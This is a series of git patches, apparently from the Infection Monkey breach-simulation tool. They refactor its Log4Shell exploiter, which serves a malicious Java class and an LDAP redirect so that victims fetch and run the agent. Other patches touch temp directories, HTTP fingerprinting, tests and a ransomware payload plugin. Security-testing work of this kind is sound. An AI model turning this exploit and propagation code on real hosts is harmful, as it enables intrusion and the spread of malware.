From 36e01ae472c6ded1bdd0f682c9fc227832dba03c Mon Sep 17 00:00:00 2001
From: Shreya Malviya <shreya.malviya@gmail.com>
Date: Mon, 28 Feb 2022 14:16:52 +0530
Subject: [PATCH 01/25] Agent: Return ExploiterResultData from
 Log4ShellExploiter's _exploit_host()

---
 monkey/infection_monkey/exploit/log4shell.py | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py
index de2d2ace2..b917099e7 100644
--- a/monkey/infection_monkey/exploit/log4shell.py
+++ b/monkey/infection_monkey/exploit/log4shell.py
@@ -24,6 +24,7 @@ from infection_monkey.network.info import get_free_tcp_port
 from infection_monkey.network.tools import get_interface_to_target
 from infection_monkey.utils.commands import build_monkey_commandline
 from infection_monkey.utils.monkey_dir import get_monkey_dir_path
+from monkey.infection_monkey.i_puppet.i_puppet import ExploiterResultData
 
 logger = logging.getLogger(__name__)
 
@@ -52,14 +53,15 @@ class Log4ShellExploiter(WebRCE):
             int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
         ]
 
-    def _exploit_host(self):
+    def _exploit_host(self) -> ExploiterResultData:
         if not self._open_ports:
             logger.info("Could not find any open web ports to exploit")
-            return False
+            return self.exploit_result
 
         self._start_servers()
         try:
-            return self.exploit(None, None)
+            self.exploit(None, None)
+            return self.exploit_result
         finally:
             self._stop_servers()
 
@@ -137,7 +139,7 @@ class Log4ShellExploiter(WebRCE):
         else:
             return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH)
 
-    def exploit(self, url, command) -> bool:
+    def exploit(self, url, command) -> None:
         # Try to exploit all services,
         # because we don't know which services are running and on which ports
         for exploit in get_log4shell_service_exploiters():
@@ -156,9 +158,8 @@ class Log4ShellExploiter(WebRCE):
                         "port": port,
                     }
                     self.exploit_info["vulnerable_urls"].append(url)
-                    return True
-
-        return False
+                    self.exploit_result.exploitation_success = True
+                    self.exploit_result.propagation_success = True
 
     def _wait_for_victim(self) -> bool:
         victim_called_back = False

From 896bcfebea07c44cdaa08e7dbaf8c8c4313a7510 Mon Sep 17 00:00:00 2001
From: Shreya Malviya <shreya.malviya@gmail.com>
Date: Mon, 28 Feb 2022 14:26:12 +0530
Subject: [PATCH 02/25] Agent: Load Log4ShellExploiter into puppet

---
 monkey/infection_monkey/monkey.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index db0ba58c7..7ca8889aa 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -46,6 +46,7 @@ from infection_monkey.utils.environment import is_windows_os
 from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir
 from infection_monkey.utils.monkey_log_path import get_monkey_log_path
 from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers
+from monkey.infection_monkey.exploit.log4shell import Log4ShellExploiter
 
 logger = logging.getLogger(__name__)
 
@@ -213,6 +214,9 @@ class InfectionMonkey:
         puppet.load_plugin(
             "HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER
         )
+        puppet.load_plugin(
+            "Log4ShellExploiter", exploit_wrapper.wrap(Log4ShellExploiter), PluginType.EXPLOITER
+        )
 
         puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
 

From 3cd3d661bff298cfe729c50cc31323f3a4c3bbb8 Mon Sep 17 00:00:00 2001
From: Shreya Malviya <shreya.malviya@gmail.com>
Date: Wed, 2 Mar 2022 15:35:06 +0530
Subject: [PATCH 03/25] Agent: Create HTTP handler class dynamically for
 ExploitClassHTTPServer

---
 .../exploit_class_http_server.py              | 58 +++++++++----------
 1 file changed, 28 insertions(+), 30 deletions(-)

diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
index 612bda270..5fc6521bd 100644
--- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
+++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
@@ -7,38 +7,36 @@ logger = logging.getLogger(__name__)
 HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429
 
 
-# If we need to run multiple HTTP servers in parallel, we'll need to either:
-#   1. Use multiprocessing so that each HTTPHandler class has its own class_downloaded variable
-#   2. Create a metaclass and define the handler class dymanically at runtime
-class HTTPHandler(http.server.BaseHTTPRequestHandler):
+def do_GET(self):
+    with self.download_lock:
+        if self.class_downloaded.is_set():
+            self.send_error(
+                HTTP_TOO_MANY_REQUESTS_ERROR_CODE,
+                "Java exploit class has already been downloaded",
+            )
+            return
 
-    java_class: bytes
-    class_downloaded: threading.Event
-    download_lock: threading.Lock
+        self.class_downloaded.set()
 
-    @classmethod
-    def initialize(cls, java_class: bytes, class_downloaded: threading.Event):
-        cls.java_class = java_class
-        cls.class_downloaded = class_downloaded
-        cls.download_lock = threading.Lock()
+    logger.info("Java class server received a GET request!")
+    self.send_response(200)
+    self.send_header("Content-type", "application/octet-stream")
+    self.end_headers()
+    logger.info("Sending the payload class!")
+    self.wfile.write(self.java_class)
 
-    def do_GET(self):
-        with HTTPHandler.download_lock:
-            if HTTPHandler.class_downloaded.is_set():
-                self.send_error(
-                    HTTP_TOO_MANY_REQUESTS_ERROR_CODE,
-                    "Java exploit class has already been downloaded",
-                )
-                return
 
-            HTTPHandler.class_downloaded.set()
-
-        logger.info("Java class server received a GET request!")
-        self.send_response(200)
-        self.send_header("Content-type", "application/octet-stream")
-        self.end_headers()
-        logger.info("Sending the payload class!")
-        self.wfile.write(self.java_class)
+def get_new_http_handler_class(java_class: bytes, class_downloaded: threading.Event):
+    return type(
+        "http_handler_class",
+        (http.server.BaseHTTPRequestHandler,),
+        {
+            "java_class": java_class,
+            "class_downloaded": class_downloaded,
+            "download_lock": threading.Lock(),
+            "do_GET": do_GET,
+        },
+    )
 
 
 class ExploitClassHTTPServer:
@@ -62,9 +60,9 @@ class ExploitClassHTTPServer:
         self._class_downloaded = threading.Event()
         self._poll_interval = poll_interval
 
-        HTTPHandler.initialize(java_class, self._class_downloaded)
+        http_handler_class = get_new_http_handler_class(java_class, self._class_downloaded)
 
-        self._server = http.server.HTTPServer((ip, port), HTTPHandler)
+        self._server = http.server.HTTPServer((ip, port), http_handler_class)
         # Setting `daemon=True` to save ourselves some trouble when this is merged to the
         # agent-refactor branch.
         # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()`

From 7739094cfd24549a13a0de9ceefff8b3def2b389 Mon Sep 17 00:00:00 2001
From: Shreya Malviya <shreya.malviya@gmail.com>
Date: Wed, 2 Mar 2022 16:36:15 +0530
Subject: [PATCH 04/25] UT: Fix test function name's spelling

---
 .../exploit/log4shell_utils/test_exploit_class_http_server.py   | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py
index b22ef41da..9bb21c5cb 100644
--- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py
+++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py
@@ -46,7 +46,7 @@ def test_only_single_download_allowed(exploit_url, java_class):
     assert response_2.content != java_class
 
 
-def test_exploit_class_downloded(server, exploit_url):
+def test_exploit_class_downloaded(server, exploit_url):
     assert not server.exploit_class_downloaded()
 
     requests.get(exploit_url)

From 1ca9a21d43e2fecd2e2d6e34be13d4531c98b804 Mon Sep 17 00:00:00 2001
From: Shreya Malviya <shreya.malviya@gmail.com>
Date: Wed, 2 Mar 2022 16:45:48 +0530
Subject: [PATCH 05/25] UT: Add test for thread-safety of
 ExploitClassHTTPServer

---
 .../test_exploit_class_http_server.py         | 20 +++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py
index 9bb21c5cb..3675a7d53 100644
--- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py
+++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py
@@ -30,6 +30,16 @@ def server(ip, port, java_class):
     server.stop()
 
 
+@pytest.fixture
+def second_server(ip, java_class):
+    server = ExploitClassHTTPServer(ip, get_free_tcp_port(), java_class, 0.01)
+    server.run()
+
+    yield server
+
+    server.stop()
+
+
 @pytest.fixture
 def exploit_url(ip, port):
     return f"http://{ip}:{port}/Exploit"
@@ -52,3 +62,13 @@ def test_exploit_class_downloaded(server, exploit_url):
     requests.get(exploit_url)
 
     assert server.exploit_class_downloaded()
+
+
+def test_thread_safety(server, second_server, exploit_url):
+    assert not server.exploit_class_downloaded()
+    assert not second_server.exploit_class_downloaded()
+
+    requests.get(exploit_url)
+
+    assert server.exploit_class_downloaded()
+    assert not second_server.exploit_class_downloaded()

From 8a6a820d1462fe09bddd218ae17ca8311c28bead Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Wed, 2 Mar 2022 14:12:52 -0500
Subject: [PATCH 06/25] Agent: Use a random, secure /tmp directory for
 "monkey_dir"

---
 monkey/infection_monkey/utils/monkey_dir.py | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py
index c705c233f..7f74f9158 100644
--- a/monkey/infection_monkey/utils/monkey_dir.py
+++ b/monkey/infection_monkey/utils/monkey_dir.py
@@ -1,16 +1,20 @@
-import os
 import shutil
 import tempfile
 
-MONKEY_DIR_NAME = "monkey_dir"
+MONKEY_DIR_PREFIX = "monkey_dir_"
+_monkey_dir = None
 
 
+# TODO: Check if we even need this. Individual plugins can just use tempfile.mkdtemp() or
+#       tempfile.mkftemp() if they need to.
 def create_monkey_dir():
     """
     Creates directory for monkey and related files
     """
-    if not os.path.exists(get_monkey_dir_path()):
-        os.mkdir(get_monkey_dir_path())
+    global _monkey_dir
+
+    _monkey_dir = tempfile.mkdtemp(prefix=MONKEY_DIR_PREFIX, dir=tempfile.gettempdir())
+    return _monkey_dir
 
 
 def remove_monkey_dir():
@@ -26,4 +30,4 @@ def remove_monkey_dir():
 
 
 def get_monkey_dir_path():
-    return os.path.join(tempfile.gettempdir(), MONKEY_DIR_NAME)
+    return _monkey_dir

From 7e957e53102c7728cbafc0dbb2bbe5c5e9fec8ba Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Wed, 2 Mar 2022 14:22:34 -0500
Subject: [PATCH 07/25] Agent: Create temporary monkey directory in monkey.py

---
 monkey/infection_monkey/monkey.py | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 7ca8889aa..868972ad2 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -18,6 +18,7 @@ from infection_monkey.credential_collectors import (
 )
 from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper
 from infection_monkey.exploit.hadoop import HadoopExploiter
+from infection_monkey.exploit.log4shell import Log4ShellExploiter
 from infection_monkey.exploit.sshexec import SSHExploiter
 from infection_monkey.i_puppet import IPuppet, PluginType
 from infection_monkey.master import AutomatedMaster
@@ -43,10 +44,13 @@ from infection_monkey.telemetry.state_telem import StateTelem
 from infection_monkey.telemetry.tunnel_telem import TunnelTelem
 from infection_monkey.utils.aws_environment_check import run_aws_environment_check
 from infection_monkey.utils.environment import is_windows_os
-from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir
+from infection_monkey.utils.monkey_dir import (
+    create_monkey_dir,
+    get_monkey_dir_path,
+    remove_monkey_dir,
+)
 from infection_monkey.utils.monkey_log_path import get_monkey_log_path
 from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers
-from monkey.infection_monkey.exploit.log4shell import Log4ShellExploiter
 
 logger = logging.getLogger(__name__)
 
@@ -145,6 +149,8 @@ class InfectionMonkey:
     def _setup(self):
         logger.debug("Starting the setup phase.")
 
+        create_monkey_dir()
+
         if firewall.is_enabled():
             firewall.add_firewall_rule()
 

From 031cafbe120456328f803456a4180004b8701709 Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Wed, 2 Mar 2022 14:23:34 -0500
Subject: [PATCH 08/25] Agent: Refactor Log4ShellExploiter to work with Puppet

---
 monkey/infection_monkey/exploit/log4shell.py | 58 +++++++++-----------
 1 file changed, 26 insertions(+), 32 deletions(-)

diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py
index b917099e7..bfc0b4b46 100644
--- a/monkey/infection_monkey/exploit/log4shell.py
+++ b/monkey/infection_monkey/exploit/log4shell.py
@@ -13,18 +13,13 @@ from infection_monkey.exploit.log4shell_utils import (
 from infection_monkey.exploit.tools.helpers import get_monkey_depth
 from infection_monkey.exploit.tools.http_tools import HTTPTools
 from infection_monkey.exploit.web_rce import WebRCE
+from infection_monkey.i_puppet.i_puppet import ExploiterResultData
 from infection_monkey.model import DOWNLOAD_TIMEOUT as AGENT_DOWNLOAD_TIMEOUT
-from infection_monkey.model import (
-    DROPPER_ARG,
-    LOG4SHELL_LINUX_COMMAND,
-    LOG4SHELL_WINDOWS_COMMAND,
-    VictimHost,
-)
+from infection_monkey.model import DROPPER_ARG, LOG4SHELL_LINUX_COMMAND, LOG4SHELL_WINDOWS_COMMAND
 from infection_monkey.network.info import get_free_tcp_port
 from infection_monkey.network.tools import get_interface_to_target
 from infection_monkey.utils.commands import build_monkey_commandline
 from infection_monkey.utils.monkey_dir import get_monkey_dir_path
-from monkey.infection_monkey.i_puppet.i_puppet import ExploiterResultData
 
 logger = logging.getLogger(__name__)
 
@@ -38,9 +33,24 @@ class Log4ShellExploiter(WebRCE):
         5  # Max time agent will wait for the response from victim in SECONDS
     )
 
-    def __init__(self, host: VictimHost):
-        super().__init__(host)
+    def _exploit_host(self) -> ExploiterResultData:
+        self._open_ports = [
+            int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
+        ]
 
+        if not self._open_ports:
+            logger.info("Could not find any open web ports to exploit")
+            return self.exploit_result
+
+        self._configure_servers()
+        self._start_servers()
+        try:
+            self.exploit(None, None)
+            return self.exploit_result
+        finally:
+            self._stop_servers()
+
+    def _configure_servers(self):
         self._ldap_port = get_free_tcp_port()
 
         self._class_http_server_ip = get_interface_to_target(self.host.ip_addr)
@@ -49,29 +59,15 @@ class Log4ShellExploiter(WebRCE):
         self._ldap_server = None
         self._exploit_class_http_server = None
         self._agent_http_server_thread = None
-        self._open_ports = [
-            int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
-        ]
-
-    def _exploit_host(self) -> ExploiterResultData:
-        if not self._open_ports:
-            logger.info("Could not find any open web ports to exploit")
-            return self.exploit_result
-
-        self._start_servers()
-        try:
-            self.exploit(None, None)
-            return self.exploit_result
-        finally:
-            self._stop_servers()
 
     def _start_servers(self):
+        dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
+
         # Start http server, to serve agent to victims
-        paths = self.get_monkey_paths()
-        agent_http_path = self._start_agent_http_server(paths)
+        agent_http_path = self._start_agent_http_server(dropper_target_path)
 
         # Build agent execution command
-        command = self._build_command(paths["dest_path"], agent_http_path)
+        command = self._build_command(dropper_target_path, agent_http_path)
 
         # Start http server to serve malicious java class to victim
         self._start_class_http_server(command)
@@ -79,10 +75,10 @@ class Log4ShellExploiter(WebRCE):
         # Start ldap server to redirect ldap query to java class server
         self._start_ldap_server()
 
-    def _start_agent_http_server(self, agent_paths: dict) -> str:
+    def _start_agent_http_server(self, dropper_target_path) -> str:
         # Create server for http download and wait for it's startup.
         http_path, http_thread = HTTPTools.try_create_locked_transfer(
-            self.host, agent_paths["src_path"]
+            self.host, dropper_target_path, self.agent_repository
         )
         self._agent_http_server_thread = http_thread
         return http_path
@@ -118,9 +114,7 @@ class Log4ShellExploiter(WebRCE):
 
     def _build_command(self, path, http_path) -> str:
         # Build command to execute
-        monkey_cmd = build_monkey_commandline(
-            self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path
-        )
+        monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, location=path)
         if "linux" in self.host.os["type"]:
             base_command = LOG4SHELL_LINUX_COMMAND
         else:

From 454b038948fc39180340205ca5bd9ea3cd404a6b Mon Sep 17 00:00:00 2001
From: vakaris_zilius <vakarisz@yahoo.com>
Date: Thu, 3 Mar 2022 09:25:56 +0000
Subject: [PATCH 09/25] Monkey: fix a bug where incorrect windows type string
 results in key error in pre_exploit()

---
 monkey/infection_monkey/exploit/web_rce.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 4473a24f5..8ef23acc0 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -116,7 +116,7 @@ class WebRCE(HostExploiter):
         if not self.monkey_target_paths:
             self.monkey_target_paths = {
                 "linux": self.options["dropper_target_path_linux"],
-                "win64": self.options["dropper_target_path_win_64"],
+                "windows": self.options["dropper_target_path_win_64"],
             }
         self.HTTP = [str(port) for port in self.options["http_ports"]]
         super().pre_exploit()

From 08aac019d8c26cb3b40c2102eda3c97a8953ec7d Mon Sep 17 00:00:00 2001
From: vakaris_zilius <vakarisz@yahoo.com>
Date: Thu, 3 Mar 2022 14:08:25 +0000
Subject: [PATCH 10/25] Agent: Fix false negatives in HTTPFingerprinter

---
 .../network_scanning/http_fingerprinter.py    | 39 +++++++++++--------
 .../test_http_fingerprinter.py                | 14 ++++---
 2 files changed, 30 insertions(+), 23 deletions(-)

diff --git a/monkey/infection_monkey/network_scanning/http_fingerprinter.py b/monkey/infection_monkey/network_scanning/http_fingerprinter.py
index 8ececc72a..f5dcfac64 100644
--- a/monkey/infection_monkey/network_scanning/http_fingerprinter.py
+++ b/monkey/infection_monkey/network_scanning/http_fingerprinter.py
@@ -1,8 +1,8 @@
 import logging
 from contextlib import closing
-from typing import Dict, Iterable, Optional, Set, Tuple
+from typing import Dict, Iterable, Optional, Set, Tuple, Any
 
-from requests import head
+from requests import head, Response
 from requests.exceptions import ConnectionError, Timeout
 
 from infection_monkey.i_puppet import (
@@ -25,11 +25,11 @@ class HTTPFingerprinter(IFingerprinter):
     """
 
     def get_host_fingerprint(
-        self,
-        host: str,
-        _: PingScanData,
-        port_scan_data: Dict[int, PortScanData],
-        options: Dict,
+            self,
+            host: str,
+            _: PingScanData,
+            port_scan_data: Dict[int, PortScanData],
+            options: Dict,
     ) -> FingerprintData:
         services = {}
         http_ports = set(options.get("http_ports", []))
@@ -55,22 +55,27 @@ def _query_potential_http_server(host: str, port: int) -> Tuple[Optional[str], O
     https = f"https://{host}:{port}"
 
     for url, ssl in ((https, True), (http, False)):  # start with https and downgrade
-        server_header_contents = _get_server_from_headers(url)
+        server_header = _get_server_from_headers(url)
 
-        if server_header_contents is not None:
-            return (server_header_contents, ssl)
+        if server_header is not None:
+            return server_header, ssl
 
-    return (None, None)
+    return None, None
 
 
 def _get_server_from_headers(url: str) -> Optional[str]:
+    headers = _get_http_headers(url)
+    if headers:
+        return headers.get("Server", "")
+
+    return None
+
+
+def _get_http_headers(url: str) -> Optional[Dict[str, Any]]:
     try:
         logger.debug(f"Sending request for headers to {url}")
-        with closing(head(url, verify=False, timeout=1)) as req:  # noqa: DUO123
-            server = req.headers.get("Server")
-
-            logger.debug(f'Got server string "{server}" from {url}')
-            return server
+        with closing(head(url, verify=False, timeout=1)) as response:  # noqa: DUO123
+            return response.headers
     except Timeout:
         logger.debug(f"Timeout while requesting headers from {url}")
     except ConnectionError:  # Someone doesn't like us
@@ -80,7 +85,7 @@ def _get_server_from_headers(url: str) -> Optional[str]:
 
 
 def _get_open_http_ports(
-    allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData]
+        allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData]
 ) -> Iterable[int]:
     open_ports = (psd.port for psd in port_scan_data.values() if psd.status == PortStatus.OPEN)
     return (port for port in open_ports if port in allowed_http_ports)
diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py
index 8baa97782..20a320048 100644
--- a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py
+++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py
@@ -7,25 +7,27 @@ from infection_monkey.network_scanning.http_fingerprinter import HTTPFingerprint
 
 OPTIONS = {"http_ports": [80, 443, 8080, 9200]}
 
-PYTHON_SERVER_HEADER = "SimpleHTTP/0.6 Python/3.6.9"
-APACHE_SERVER_HEADER = "Apache/Server/Header"
+PYTHON_SERVER_HEADER = {"Server": "SimpleHTTP/0.6 Python/3.6.9"}
+APACHE_SERVER_HEADER = {"Server": "Apache/Server/Header"}
+NO_SERVER_HEADER = {"Not_Server": "No Header for you"}
 
 SERVER_HEADERS = {
     "https://127.0.0.1:443": PYTHON_SERVER_HEADER,
     "http://127.0.0.1:8080": APACHE_SERVER_HEADER,
+    "http://127.0.0.1:1080": NO_SERVER_HEADER,
 }
 
 
 @pytest.fixture
-def mock_get_server_from_headers():
-    return MagicMock(side_effect=lambda port: SERVER_HEADERS.get(port, None))
+def mock_get_http_headers():
+    return MagicMock(side_effect=lambda url: SERVER_HEADERS.get(url, None))
 
 
 @pytest.fixture(autouse=True)
-def patch_get_server_from_headers(monkeypatch, mock_get_server_from_headers):
+def patch_get_http_headers(monkeypatch, mock_get_http_headers):
     monkeypatch.setattr(
         "infection_monkey.network_scanning.http_fingerprinter._get_server_from_headers",
-        mock_get_server_from_headers,
+        mock_get_http_headers,
     )
 
 

From 4408601332d66593b5ca20544f3e264cfac30496 Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Thu, 3 Mar 2022 09:18:54 -0500
Subject: [PATCH 11/25] UT: Add unit test for missing server header in valid
 http response

---
 .../test_http_fingerprinter.py                | 56 ++++++++++++-------
 1 file changed, 37 insertions(+), 19 deletions(-)

diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py
index 20a320048..dde307506 100644
--- a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py
+++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py
@@ -5,7 +5,7 @@ import pytest
 from infection_monkey.i_puppet import PortScanData, PortStatus
 from infection_monkey.network_scanning.http_fingerprinter import HTTPFingerprinter
 
-OPTIONS = {"http_ports": [80, 443, 8080, 9200]}
+OPTIONS = {"http_ports": [80, 443, 1080, 8080, 9200]}
 
 PYTHON_SERVER_HEADER = {"Server": "SimpleHTTP/0.6 Python/3.6.9"}
 APACHE_SERVER_HEADER = {"Server": "Apache/Server/Header"}
@@ -26,7 +26,7 @@ def mock_get_http_headers():
 @pytest.fixture(autouse=True)
 def patch_get_http_headers(monkeypatch, mock_get_http_headers):
     monkeypatch.setattr(
-        "infection_monkey.network_scanning.http_fingerprinter._get_server_from_headers",
+        "infection_monkey.network_scanning.http_fingerprinter._get_http_headers",
         mock_get_http_headers,
     )
 
@@ -36,7 +36,7 @@ def http_fingerprinter():
     return HTTPFingerprinter()
 
 
-def test_no_http_ports_open(mock_get_server_from_headers, http_fingerprinter):
+def test_no_http_ports_open(mock_get_http_headers, http_fingerprinter):
     port_scan_data = {
         80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"),
         123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"),
@@ -45,10 +45,10 @@ def test_no_http_ports_open(mock_get_server_from_headers, http_fingerprinter):
     }
     http_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, OPTIONS)
 
-    assert not mock_get_server_from_headers.called
+    assert not mock_get_http_headers.called
 
 
-def test_fingerprint_only_port_443(mock_get_server_from_headers, http_fingerprinter):
+def test_fingerprint_only_port_443(mock_get_http_headers, http_fingerprinter):
     port_scan_data = {
         80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"),
         123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"),
@@ -59,18 +59,18 @@ def test_fingerprint_only_port_443(mock_get_server_from_headers, http_fingerprin
         "127.0.0.1", None, port_scan_data, OPTIONS
     )
 
-    assert mock_get_server_from_headers.call_count == 1
-    mock_get_server_from_headers.assert_called_with("https://127.0.0.1:443")
+    assert mock_get_http_headers.call_count == 1
+    mock_get_http_headers.assert_called_with("https://127.0.0.1:443")
 
     assert fingerprint_data.os_type is None
     assert fingerprint_data.os_version is None
     assert len(fingerprint_data.services.keys()) == 1
 
-    assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER
+    assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER["Server"]
     assert fingerprint_data.services["tcp-443"]["data"][1] is True
 
 
-def test_open_port_no_http_server(mock_get_server_from_headers, http_fingerprinter):
+def test_open_port_no_http_server(mock_get_http_headers, http_fingerprinter):
     port_scan_data = {
         80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"),
         123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"),
@@ -81,16 +81,16 @@ def test_open_port_no_http_server(mock_get_server_from_headers, http_fingerprint
         "127.0.0.1", None, port_scan_data, OPTIONS
     )
 
-    assert mock_get_server_from_headers.call_count == 2
-    mock_get_server_from_headers.assert_any_call("https://127.0.0.1:9200")
-    mock_get_server_from_headers.assert_any_call("http://127.0.0.1:9200")
+    assert mock_get_http_headers.call_count == 2
+    mock_get_http_headers.assert_any_call("https://127.0.0.1:9200")
+    mock_get_http_headers.assert_any_call("http://127.0.0.1:9200")
 
     assert fingerprint_data.os_type is None
     assert fingerprint_data.os_version is None
     assert len(fingerprint_data.services.keys()) == 0
 
 
-def test_multiple_open_ports(mock_get_server_from_headers, http_fingerprinter):
+def test_multiple_open_ports(mock_get_http_headers, http_fingerprinter):
     port_scan_data = {
         80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"),
         443: PortScanData(443, PortStatus.OPEN, "", "tcp-443"),
@@ -100,16 +100,34 @@ def test_multiple_open_ports(mock_get_server_from_headers, http_fingerprinter):
         "127.0.0.1", None, port_scan_data, OPTIONS
     )
 
-    assert mock_get_server_from_headers.call_count == 3
-    mock_get_server_from_headers.assert_any_call("https://127.0.0.1:443")
-    mock_get_server_from_headers.assert_any_call("https://127.0.0.1:8080")
-    mock_get_server_from_headers.assert_any_call("http://127.0.0.1:8080")
+    assert mock_get_http_headers.call_count == 3
+    mock_get_http_headers.assert_any_call("https://127.0.0.1:443")
+    mock_get_http_headers.assert_any_call("https://127.0.0.1:8080")
+    mock_get_http_headers.assert_any_call("http://127.0.0.1:8080")
 
     assert fingerprint_data.os_type is None
     assert fingerprint_data.os_version is None
     assert len(fingerprint_data.services.keys()) == 2
 
-    assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER
+    assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER["Server"]
     assert fingerprint_data.services["tcp-443"]["data"][1] is True
-    assert fingerprint_data.services["tcp-8080"]["data"][0] == APACHE_SERVER_HEADER
+    assert fingerprint_data.services["tcp-8080"]["data"][0] == APACHE_SERVER_HEADER["Server"]
     assert fingerprint_data.services["tcp-8080"]["data"][1] is False
+
+
+def test_server_missing_from_http_headers(mock_get_http_headers, http_fingerprinter):
+    port_scan_data = {
+        1080: PortScanData(1080, PortStatus.OPEN, "", "tcp-1080"),
+    }
+    fingerprint_data = http_fingerprinter.get_host_fingerprint(
+        "127.0.0.1", None, port_scan_data, OPTIONS
+    )
+
+    assert mock_get_http_headers.call_count == 2
+
+    assert fingerprint_data.os_type is None
+    assert fingerprint_data.os_version is None
+    assert len(fingerprint_data.services.keys()) == 1
+
+    assert fingerprint_data.services["tcp-1080"]["data"][0] == ""
+    assert fingerprint_data.services["tcp-1080"]["data"][1] is False

From 9af6c3bed19a0862c1309392ed139048e66ecb36 Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Thu, 3 Mar 2022 09:37:17 -0500
Subject: [PATCH 12/25] Agent: Suppress debug logging of urllib3

urllib3 debug logs are unnecessarily verbose for our purposes. Setting
the log level of urllib3 to debug unclutters the logs and makes
debugging simpler.
---
 monkey/infection_monkey/master/automated_master.py | 4 ++++
 monkey/infection_monkey/monkey.py                  | 1 +
 2 files changed, 5 insertions(+)

diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py
index ceb66e3b9..bf2e11132 100644
--- a/monkey/infection_monkey/master/automated_master.py
+++ b/monkey/infection_monkey/master/automated_master.py
@@ -90,6 +90,10 @@ class AutomatedMaster(IMaster):
             logger.warning("Forcefully killing the simulation")
 
     def _wait_for_master_stop_condition(self):
+        logger.debug(
